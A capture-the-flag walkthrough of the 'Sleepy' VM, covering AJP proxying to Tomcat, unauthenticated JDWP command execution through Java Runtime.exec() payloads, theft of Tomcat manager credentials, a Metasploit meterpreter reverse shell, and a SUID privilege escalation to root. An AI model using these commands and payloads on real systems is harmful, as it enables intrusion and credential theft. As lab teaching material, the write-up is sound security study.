published on in writeup
tags: /dev/random

/dev/random: Sleepy

Sleepy is another ‘short’ VM created by Sagi-, although it’s slightly more difficult than Pipe.


[email protected]:~# nmap -n -sT -p- -A
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
FTP allows anonymous login where you can download an image of Sleepy, but there appears to be nothing of interest with it.


Apache JServ is a really interesting protocol - it’s basically designed to proxy inbound requests from a web server through to an application server. If you try to access port 8009 directly, you get no response.

[email protected]:~# curl
curl: (56) Recv failure: Connection reset by peer

What we have to do, is proxy the requests via Apache using the jk-mod.

[email protected]:~# apt-get install libapache2-mod-jk

[email protected]:~# vi /etc/apache2/mods-enabled/jk.conf
JkWorkersFile /etc/libapache2-mod-jk/   --->   JkWorkersFile /etc/apache2/

[email protected]:~# cp /etc/libapache2-mod-jk/ /etc/apache2/

[email protected]:~# vi /etc/apache2/   --->

[email protected]:~# vi /etc/apache2/sites-enabled/000-default.conf
JKMount /* ajp13_worker

[email protected]:~# a2enmod proxy_http
[email protected]:~# a2enmod proxy_ajp

[email protected]:~# service apache2 restart

Now if we browse to our localhost, we get Tomcat on the remote host!

I tried all the obvious/default passwords for Tomcat Manager, but no success. Time to turn my attention to JDWP.


We find that we can attach to the JDWP service without any authentication.

[email protected]:~# jdb -attach
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...

I tried to use the Metasploit Java Debug Wire Protocol Remote Code Execution exploit, but it wouldn’t work. I later found that payloads were getting written to /tmp, but they weren’t being executed.

You can execute your own commands manually with some dirty, dirty Java. There is a pretty good summary of it here. First, we want to find where the tomcat-users file is stored.

print new java.lang.String(new java.lang.Runtime().exec("find / -name tomcat-users.xml").getInputStream())).readLine())
  = "/etc/tomcat/tomcat-users.xml"

So there are two ways to go about this - the easiest is to copy the file into the FTP directory and download it via your anonymous login. To find the correct directory, I just did another find for sleepy.png.

print new java.lang.String(new java.lang.Runtime().exec("find / -name sleepy.png").getInputStream())).readLine())

print new java.lang.String(new java.lang.Runtime().exec("cp /etc/tomcat/tomcat-users.xml /var/ftp/pub/").getInputStream())).readLine())

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1002     1002       120456 Jun 18 21:40 sleepy.png
-rw-r--r--    1 1002     1002         2190 Oct 11 22:51 tomcat-users.xml
226 Directory send OK.

The other method is to read the file directly. However, there is a bit of an issue when trying to return files that have newlines in them and as mentioned in that post, there is no way to loop to return multiple lines.

This is where the split trick comes in.

print new java.lang.String(new java.lang.Runtime().exec(new java.lang.String("bashXX-cXXcat /etc/tomcat/tomcat-users.xml|tr '\n' ' '").split("XX")).getInputStream())).readLine())
  = "<?xml version='1.0' encoding='utf-8'?> <!--   Licensed to the Apache Software Foundation (ASF) under one or more   contributor license agreements.  See the NOTICE file distributed with   this work for additional information regarding copyright ownership.   The ASF licenses this file to You under the Apache License, Version 2.0   (the "License"); you may not use this file except in compliance with   the License.  You may obtain a copy of the License at    Unless required by applicable law or agreed to in writing, software   distributed under the License is distributed on an "AS IS" BASIS,   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   See the License for the specific language governing permissions and   limitations under the License. --> <tomcat-users> <!--   NOTE:  By default, no user is included in the "manager-gui" role required   to operate the "/manager/html" web application.  If you wish to use this app,   you must define such a user - the username and password are arbitrary. --> <!--   NOTE:  The sample user and role entries below are wrapped in a comment   and thus are ignored when reading this file. Do not forget to remove   <!.. ..> that surrounds them. -->   <role rolename="tomcat"/>   <role rolename="role1"/>  <!-- <user username="tomcat" password="tomcat" roles="tomcat,manager-gui,admin,manager-jmx,admin-gui,admin-script,manager,manager-script,manager-status"/> -->   <user username="both" password="tomcat" roles="tomcat,role1"/>   <user username="role1" password="tomcat" roles="role1"/>  <role rolename="admin"/>  <role rolename="admin-gui"/>  <role rolename="admin-script"/>  <role rolename="manager"/> <role rolename="manager-gui"/>  <role rolename="manager-script"/> <role rolename="manager-jmx"/>  <role rolename="manager-status"/> <!-- <user name="admin" password="adminadmin" roles="admin,manager,admin-gui,admin-script,manager-gui,manager-script,manager-jmx,manager-status" /> -->   <user username="sl33py" password="Gu3SSmYStR0NgPa$sw0rD!" roles="tomcat,manager-gui,admin-gui,admin,manager-jmx,admin-script,manager,manager-script,manager-status"/>  </tomcat-users> "

The reason this works, is that the exec() method requires an array to be passed, as described here.

exec(String[] cmdarray)
Executes the specified command and arguments in a separate process.

username="sl33py" password="Gu3SSmYStR0NgPa$sw0rD!" is what we were after - and now we can log into the Tomcat Manager. To get a shell, we’ll use the Tomcat Manager Authenticated Upload Code Execution module.

RPORT      80
TARGETURI  /manager
USERNAME   sl33py

I set my target as Linux x86 and used the linux/x86/meterpreter/reverse_tcp payload, but you could also use a Java-based payload.

msf exploit(tomcat_mgr_upload) > exploit

[*] Started reverse handler on
[*] - Retrieving session ID and CSRF token...
[*] - Finding CSRF token...
[*] - Uploading and deploying V5bvuvzO1juTdM...
[*] - Uploading 1866 bytes as V5bvuvzO1juTdM.war ...
[*] - Executing V5bvuvzO1juTdM...
[*] - Executing /V5bvuvzO1juTdM/AcVlSx5ZMqE9wtXvp5cLRc3dRPgGXgO.jsp...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] - Finding CSRF token...
[*] - Undeploying V5bvuvzO1juTdM ...
[*] Sending stage (1495598 bytes) to
[*] Meterpreter session 1 opened ( -> at 2015-10-13 21:52:42 +0100

meterpreter >

TTY Nightmare

If we go in search for SUID binaries (owned by root), we find a suspicious looking candidate.

sh-4.2$ find / -user root -perm -4000 -print 2> /dev/null
/usr/bin/nightmare   <--- this sucker

sh-4.2$ ls -l /usr/bin/nightmare
-rwsr-s---. 1 root tomcat 8669 Jan 18  2015 /usr/bin/nightmare

sh-4.2$ /usr/bin/nightmare
[-] error: no tty present

I downloaded the binary to my host so I could analyse it.

[email protected]:~# file nightmare
nightmare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.26, BuildID[sha1]=708d5928a47d433d5b40fca49305e332808e743a, not stripped

[email protected]:~# ./nightmare
sh: 1: /usr/bin/aafire: not found

I downloaded /usr/bin/aafire and ran nightmare again. This time I got saw cool ASCII fire going - but then another binary tries to get executed: /usr/bin/sl. I downloaded this one too, and finally got this:

First the binary checks to see if tty is present.

mov    esi,0x2
mov    edi,0x400a0c
mov    eax,0x0
call   0x400690 <[email protected]>

x/s 0x400a0c
0x400a0c: "/dev/tty"

There are two functions called fire and train.

gdb-peda$ pdisass fire

push   rbp
mov    rbp,rsp
mov    edi,0x4009fc
call   0x400640 <[email protected]>
pop    rbp

gdb-peda$ x/s 0x4009fc
0x4009fc: "/usr/bin/aafire"
gdb-peda$ pdisass train

push   rbp
mov    rbp,rsp
mov    edx,0x0
mov    esi,0x0
mov    edi,0x0
mov    eax,0x0
call   0x400620 <[email protected]>
mov    edx,0x0
mov    esi,0x0
mov    edi,0x0
mov    eax,0x0
call   0x400630 <[email protected]>
mov    edi,0x4009ec
call   0x400640 <[email protected]>
pop    rbp

x/s 0x4009ec
0x4009ec: "/usr/bin/sl -al"

Finally, there is a sigHandler function.

gdb-peda$ pdisass sigHandler

push   rbp
mov    rbp,rsp
sub    rsp,0x10
mov    DWORD PTR [rbp-0x4],edi
mov    eax,0x0
call   0x4007cd <train>
mov    edi,0x0
call   0x4006a0 <[email protected]>

So, to summerise:

  • The binary checks for tty
  • (if yes) /usr/bin/aafire is executed
  • This runs until the user presses Ctrl+C (i.e. a SIGINT)
  • setresuid and setresgid are both set to 0
  • /usr/bin/sl -al is executed

I found a really ugly way to solve this, without having a proper interactive shell. Using the classic ‘python pty’ trick, the binary will partially run. But first define the new function.

bash-4.2$ function /usr/bin/sl() { /bin/sh; }
bash-4.2$ export -f /usr/bin/sl

bash-4.2$ /usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]?

Now, in a second shell:

bash-4.2$ ps aux | grep nightmare
root  3948    0.0     0.0     4164    356 pts/7   S+  01:41   0:00 /usr/bin/nightmare

bash-4.2$ kill -2 3948

Go back to the previous shell, and a new root shell should be waiting.

bash-4.2$ /usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]? sh-4.2# id
uid=0(root) gid=0(root) group=0(root),91(tomcat)

Sagi- has a nice trick for getting a proper interactive shell using busybox, which you should definitely check out.


sh-4.2# cat /root/flag.txt
Well done!

Here's your flag: 3eb030c6ab099b0a355712fe38d59ffb

This is the MD5 of pewpewpew :)

Thanks Sagi- for another awesome VM - I learned a lot doing this one!